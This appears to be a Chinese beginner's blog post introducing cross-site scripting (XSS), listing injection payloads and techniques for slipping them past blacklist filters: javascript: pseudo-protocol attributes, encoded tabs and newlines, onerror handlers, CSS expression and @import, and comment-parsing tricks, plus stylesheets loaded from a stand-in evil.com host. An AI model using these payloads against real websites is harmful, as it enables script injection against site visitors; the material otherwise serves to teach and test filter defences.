XSS初探

1、XSS攻击一般通过留言、电子邮件或者其他途径向受害者发送一个精心构造的恶意URL,当受害者在WEB浏览器上打开该URL的时候,恶意脚本就会在受害者计算机上执行。(别小看这句话,当你真正理解XSS的时候,你会发现,这就是XSS的全部精髓。至少我现在这么认为)

2、一般实例:

(1)XSS输入为HTML代码段,使网页不停地刷新,代码为:

<meta http-equiv="refresh" content="0;">

(2)XSS输入嵌入其它网站连接,代码为:

<iframe src=http://www.baidu.com width=0 height=0></frame>

(3)XSS探测代码,主要用于探测服务端的过滤规则包含哪些。

'';!--"<XSS>=&{()}

3、利用HTML标签属性值执行XSS

一般HTML标记中的属性都支持javascript:[code]伪协议的形式,这个特殊的协议类型声明了URL的主体是任意的javascript代码,有javascript的解释器运行。

例如:<table background="javascript:alert(/xss/)"></table>

           <img src="javascript:alert('XSS');">

当然,并不是所有web浏览器都支持javascript伪协议,也并不是所有标记的属性值都能产生XSS,通常只有引用文件的属性才能触发跨站脚本,一般包含如下属性:

href=

lowsrc=

bgsound=

background=

value=

action=

dynsrc=

4、利用空格回车TAB键(或被编码的TAB键)(TAB键的html编码:&#9,换行符的html编码:&#10,回车键的html编码:&#13)

如果XSS Filter仅仅把敏感的输入字符列入黑名单处理,如对敏感的javascript而言,用户可以利用空格、回车、TAB键(编码后的TAB键)绕过限制,例如:

<IMG SRC="jav   ascript:alert('XSS');">
<IMG SRC="jav&#x09;ascript:alert('XSS');">
使用换行符的原因:javascript语句通常以分号结尾,如果javascript引擎确定一个语句是完整的,而这一行的结尾有换行符,那么久可以省略分号,如果同一行中有多个语句,那么每个语句就必须使用分号来结束。例如:

var a

='hello world' ; alert(a);

引擎没有吧换行符解释成语句的终止符,因为到换行处并不是一个完整的语句,javascript会继续处理发现的内容,知道遇到一个分号或者发现语句完整为止。因此,用户可以构造代码绕过对javascript等关键字的过滤:

<img src="javas

cript:

alert(/xss/)" width=100>

5、对标签属性值转码

直接给出例子: <img src="java&#09;scr&#10;ipt:alert(/a/)">

6、使用事件让javascript代码运行

javascript和HTML之间的交互是通过事件来实现的,事件就是用户或浏览器自身执行的某种动作,,比如click、mouseover、load等,而响应事件的函数就叫做事件处理函数(或事件侦听器)。事件能让javascript代码运行。例如:

<img src="#" οnerrοr=alert(/xss/)>

7、利用CSS跨站剖析(利用CSS样式表执行javascript)

使用CSS直接执行javascript代码:

<div style="background-image:url(javascript:alert('xss'))">

<style>

    body {background-image:url("javascript:alert('xss')");}

</style>

<img src="#" style="xss:expression(alert('xss'));">

以上使用CSS中的expression执行javascript代码,expression用来把CSS属性和javascript表达式关联起来。

此外,CSS样式表不需要嵌入到HTML代码中,它能从其他文件甚至是从不同的目标机器上进行引用,比如,用户可以使用<link>标签引用CSS,例如:

<link rel="stylesheet" herf="http://www.evil.com/attack.css">

除了<link>标签外,还可以利用@import引入外部CSS,例如:

<style type='text/css'>@import url(http://www.evil.com/xss.css);</style>

@import还有一个特性,就是能直接执行javascript代码,例如:

<style>

    @import 'javascript:alert("xss")';

</style>

8、扰乱过滤规则

<img/src="javascript:alert('xss');">  img标记和src属性之间没有空格,而是用/隔开,此段代码在IE6中能执行成功。

在利用expression执行跨站代码时,可以构造不同的拳脚字符来扰乱过滤规则:

<xss style="xss:exprEssion(alert('xss'))">

<div style="(left:expression(alert('xss')))">

样式表中的/**/会被浏览器忽略,可以运用/**/来注释字符。通过插入混淆字符绕过过滤:

<div style="width:exprss/*xss*/ion(alert('xss'));">

除了/**/外,样式标签中的\和结束符\0也是被浏览器忽略,例如:

@\0im\0p\ort '\0ja\vascri\pt:alert("xss")';

@\i\0m\00p\000o\0000\00000r\000000t"url";

将CSS中的关键字进行转码处理,如将e转换成\65,包括改变编码中0的数量

<p style="xss:\65xpression(alert(/xss/))">

<p style="xss:\00065xpression(alert(/xss/))">

利用浏览器解析HTML注释存在的问题执行Javascript,例如:

<!--<img src="--><img src=x  οnerrοr=alert(1)//">

<comment><img src="</comment><img src=x οnerrοr=alert(1)//">

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值